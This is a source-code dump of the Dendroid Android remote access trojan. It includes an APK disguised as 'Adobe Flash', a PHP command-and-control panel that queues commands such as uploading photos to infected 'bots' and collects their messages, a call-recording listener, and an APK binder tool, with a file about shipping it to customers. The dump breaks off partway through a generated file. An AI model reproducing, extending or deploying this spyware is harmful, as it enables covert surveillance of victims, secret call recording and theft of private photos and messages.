Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bg_off.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bg_off.jpg -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._bootstrap.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._bootstrap.js -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._createconfig.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._createconfig.php -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.Form1.resources -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.Resources.resources -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap.css -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bannerrot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bannerrot.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._login_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._login_bg.png -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.Resources.resources -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._image-picker.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._image-picker.css -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._bootstrap.min.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._bootstrap.min.js -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource-ResGen.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource-ResGen.read.1.tlog -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource-ResGen.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource-ResGen.write.1.tlog -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/GenerateResource-ResGen.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Release/GenerateResource-ResGen.read.1.tlog -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap.min.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap.min.css -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._image-picker.min.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._image-picker.min.js -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/GenerateResource-ResGen.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Release/GenerateResource-ResGen.write.1.tlog -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/._README - How to ship to customers.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/._README - How to ship to customers.txt -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.eot -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.otf -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.ttf -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/fonts/glyphiconshalflings-regular.woff -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap-glyphicons.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/css/._bootstrap-glyphicons.css -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._jquery.tablesorter.min.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._jquery.tablesorter.min.js -------------------------------------------------------------------------------- /Dendroid APK/gen/com/adobe/flash13/BuildConfig.java: -------------------------------------------------------------------------------- 1 | /** Automatically generated file. DO NOT MODIFY */ 2 | package com.adobe.flash13; 3 | 4 | public final class BuildConfig { 5 | public final static boolean DEBUG = true; 6 | } -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.eot -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.otf -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.svg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.svg -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.ttf -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/fonts/._glyphiconshalflings-regular.woff -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._jquery.tablesorter.widgets.min.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._jquery.tablesorter.widgets.min.js -------------------------------------------------------------------------------- /Dendroid APK/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Adobe Flash 4 | Settings 5 | Connect 6 | 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | # Mobile Tools for Java (J2ME) 4 | .mtj.tmp/ 5 | 6 | # Package Files # 7 | *.jar 8 | *.war 9 | *.ear 10 | 11 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 12 | hs_err_pid* 13 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/reg.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dendroid APK/res/layout/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/getwaitingcommands.php: -------------------------------------------------------------------------------- 1 | query($mycommand) as $row) { 7 | echo "" . $row['uid'] . ": " . $row['command'] . "(" . $row['arg1'] . ", " . $row['arg2'] . ")"; 8 | echo "
"; 9 | } 10 | 11 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/getimages.php: -------------------------------------------------------------------------------- 1 | prepare("INSERT INTO `commands` (`uid`, `command`, `arg1`, `arg2`, `arg3`) VALUES ('$uid', 'uploadpictures', '$startdate', '$enddate', '$maxfilesize')"); 11 | $statement->execute(); 12 | 13 | ?> -------------------------------------------------------------------------------- /Dendroid APK/res/layout/videoview.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 12 | 13 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/showpictures.php: -------------------------------------------------------------------------------- 1 | Delete All
'; 9 | foreach($images as $image) { 10 | echo ''; 11 | } 12 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/deletebot.php: -------------------------------------------------------------------------------- 1 | prepare("DELETE FROM bots WHERE uid='$botid'"); 21 | $statement->execute(); 22 | echo "Bot Deleted"; 23 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/clearawaiting.php: -------------------------------------------------------------------------------- 1 | prepare("TRUNCATE TABLE commands"); 19 | $statement->execute();header('Location: settings.php'); 20 | 21 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/clearmessages.php: -------------------------------------------------------------------------------- 1 | prepare("TRUNCATE TABLE messages"); 19 | $statement->execute();header('Location: settings.php'); 20 | 21 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/message.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT blocked FROM bots WHERE uid='$botid'"); 7 | $statement->execute(); 8 | 9 | $result = $statement->fetch(PDO::FETCH_ASSOC); 10 | 11 | $curblocked = $result[blocked]; 12 | 13 | 14 | if(isset($_GET['UID'], $_GET['Data']) AND $curblocked != 'yes'){ 15 | $gooddata = str_replace("~period", ".", $_GET['Data']); 16 | addMessage($_GET['UID'], $gooddata); 17 | } else { 18 | die(); 19 | } 20 | ?> -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/APKBinder.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/DendroidBinder.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/get.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 | 2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/css/image-picker.css: -------------------------------------------------------------------------------- 1 | ul.thumbnails.image_picker_selector { 2 | overflow: auto; 3 | list-style-image: none; 4 | list-style-position: outside; 5 | list-style-type: none; 6 | padding: 0px; 7 | margin: 0px; } 8 | ul.thumbnails.image_picker_selector li { 9 | margin: 0px 12px 12px 0px; 10 | float: left; } 11 | ul.thumbnails.image_picker_selector li .thumbnail { 12 | padding: 6px; 13 | border: 1px solid #dddddd; } 14 | ul.thumbnails.image_picker_selector li .thumbnail.selected { 15 | background: #0088cc; } 16 | -------------------------------------------------------------------------------- /Dendroid APK/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | 13 | -------------------------------------------------------------------------------- /Dendroid APK/res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | 13 | -------------------------------------------------------------------------------- /Dendroid APK/res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | 13 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/deletefile.php: -------------------------------------------------------------------------------- 1 | prepare("DELETE FROM files WHERE file='$filename'"); 23 | $statement->execute(); 24 | echo "Deleted"; 25 | } else { 26 | die(); 27 | } 28 | ?> -------------------------------------------------------------------------------- /Dendroid APK/res/layout/cameraview.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 13 | 19 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/deletepics.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/getmessages.php: -------------------------------------------------------------------------------- 1 | query($mycommand) as $row) { 10 | $spacedmessage = str_replace("*", " ", $row['message']); 11 | echo $spacedmessage; 12 | echo "
"; 13 | } 14 | } else { 15 | $mycommand = "SELECT * FROM messages"; 16 | 17 | foreach ($connect->query($mycommand) as $row) { 18 | $spacedmessage = str_replace("*", " ", $row['message']); 19 | echo "" . $row['uid'] . ": "; 20 | echo $spacedmessage; 21 | echo "
"; 22 | } 23 | } 24 | 25 | ?> -------------------------------------------------------------------------------- /Dendroid APK/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-10 15 | #dexguard.dir=/usr/local/dexguard 16 | #proguard.config=proguard.cfg 17 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/login.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/APKBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | APKBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Release/APKBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | APKBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | APKBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | APKBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/DendroidBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | DendroidBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | DendroidBinder 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid APK/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | #proguard.config=proguard.cfg -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/APKBinder.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Basic Express 2010 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "APKBinder", "APKBinder.vbproj", "{1860FD67-8CAF-45E4-8357-273DB1ADD78F}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|x86 = Debug|x86 9 | Release|x86 = Release|x86 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {1860FD67-8CAF-45E4-8357-273DB1ADD78F}.Debug|x86.ActiveCfg = Debug|x86 13 | {1860FD67-8CAF-45E4-8357-273DB1ADD78F}.Debug|x86.Build.0 = Debug|x86 14 | {1860FD67-8CAF-45E4-8357-273DB1ADD78F}.Release|x86.ActiveCfg = Release|x86 15 | {1860FD67-8CAF-45E4-8357-273DB1ADD78F}.Release|x86.Build.0 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/blockbot.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT blocked FROM bots WHERE uid='$botid'"); 19 | $statement->execute(); 20 | 21 | $result = $statement->fetch(PDO::FETCH_ASSOC); 22 | 23 | $curblocked = $result[blocked]; 24 | 25 | if($curblocked == "yes"){ 26 | $statement = $connect->prepare("UPDATE bots SET blocked='no' WHERE `uid` = '$botid'"); 27 | $statement->execute(); 28 | echo "Bot History Unblocked"; 29 | } else { 30 | $statement = $connect->prepare("UPDATE bots SET blocked='yes' WHERE `uid` = '$botid'"); 31 | $statement->execute(); 32 | echo "Bot History Blocked"; 33 | } 34 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/addcommand.php: -------------------------------------------------------------------------------- 1 | prepare("INSERT INTO `commands` (`uid`, `command`, `arg1`, `arg2`) VALUES ('$currentUID', '$Command', '$Arg1', '$Arg2')"); 36 | $statement->execute(); 37 | } 38 | 39 | echo "Success"; 40 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/get-functions.php: -------------------------------------------------------------------------------- 1 | query($getcommands) as $row) { 19 | if ($row['arg1'] == "" AND $row['arg2'] == "") { 20 | echo $row['command'] . "()\xA"; 21 | } elseif ($row['arg1'] == "") { 22 | echo $row['command'] . "(" . $row['arg2'] . ")\xA"; 23 | } elseif ($row['arg2'] == "") { 24 | echo $row['command'] . "(" . $row['arg1'] . ")\xA"; 25 | } elseif ($row['arg3'] != "") { 26 | echo $row['command'] . "(" . $row['arg1'] . "~~" . $row['arg2'] . "~~" . $row['arg3'] . ")\xA"; 27 | } else { 28 | echo $row['command'] . "(" . $row['arg1'] . "~~" . $row['arg2'] . ")\xA"; 29 | } 30 | } 31 | 32 | $statement = $connect->prepare("DELETE FROM commands WHERE uid='$UID'"); 33 | $statement->execute(); 34 | ?> -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/DendroidBinder.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\ResolveAssemblyReference.cache 2 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\GenerateResource-ResGen.read.1.tlog 3 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\GenerateResource-ResGen.write.1.tlog 4 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Release\APKBinder.exe.config 5 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Release\APKBinder.exe 6 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Release\APKBinder.pdb 7 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Release\APKBinder.xml 8 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\APKBinder.Form1.resources 9 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\APKBinder.Resources.resources 10 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\APKBinder.exe 11 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\APKBinder.xml 12 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Release\APKBinder.pdb 13 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/PhoneListener.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import android.content.Intent; 4 | import android.content.Context; 5 | import android.content.ComponentName; 6 | import android.preference.PreferenceManager; 7 | import android.telephony.TelephonyManager; 8 | import android.telephony.PhoneStateListener; 9 | import android.util.Log; 10 | 11 | public class PhoneListener extends PhoneStateListener 12 | { 13 | private Context context; 14 | 15 | public PhoneListener(Context c) { 16 | context = c; 17 | } 18 | 19 | public void onCallStateChanged (int state, String incomingNumber) 20 | { 21 | switch (state) { 22 | case TelephonyManager.CALL_STATE_IDLE: 23 | Boolean stopped = context.stopService(new Intent(context, RecordService.class)); 24 | 25 | break; 26 | case TelephonyManager.CALL_STATE_RINGING: 27 | break; 28 | case TelephonyManager.CALL_STATE_OFFHOOK: 29 | if(PreferenceManager.getDefaultSharedPreferences(context).getBoolean("RecordCalls", false)) 30 | { 31 | Intent callIntent = new Intent(context, RecordService.class); 32 | ComponentName name = context.startService(callIntent); 33 | if (null == name) { 34 | } else { 35 | } 36 | } 37 | break; 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/APKBinder.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/DendroidBinder.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Release/APKBinder.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/APKBinder.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/DendroidBinder.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Dendroid APK/gen/com/adobe/flash13/R.java: -------------------------------------------------------------------------------- 1 | /* AUTO-GENERATED FILE. DO NOT MODIFY. 2 | * 3 | * This class was automatically generated by the 4 | * aapt tool from the resource data it found. It 5 | * should not be modified by hand. 6 | */ 7 | 8 | package com.adobe.flash13; 9 | 10 | public final class R { 11 | public static final class attr { 12 | } 13 | public static final class drawable { 14 | public static final int launcher=0x7f020000; 15 | } 16 | public static final class id { 17 | public static final int blankImage=0x7f070001; 18 | public static final int screen=0x7f070002; 19 | public static final int 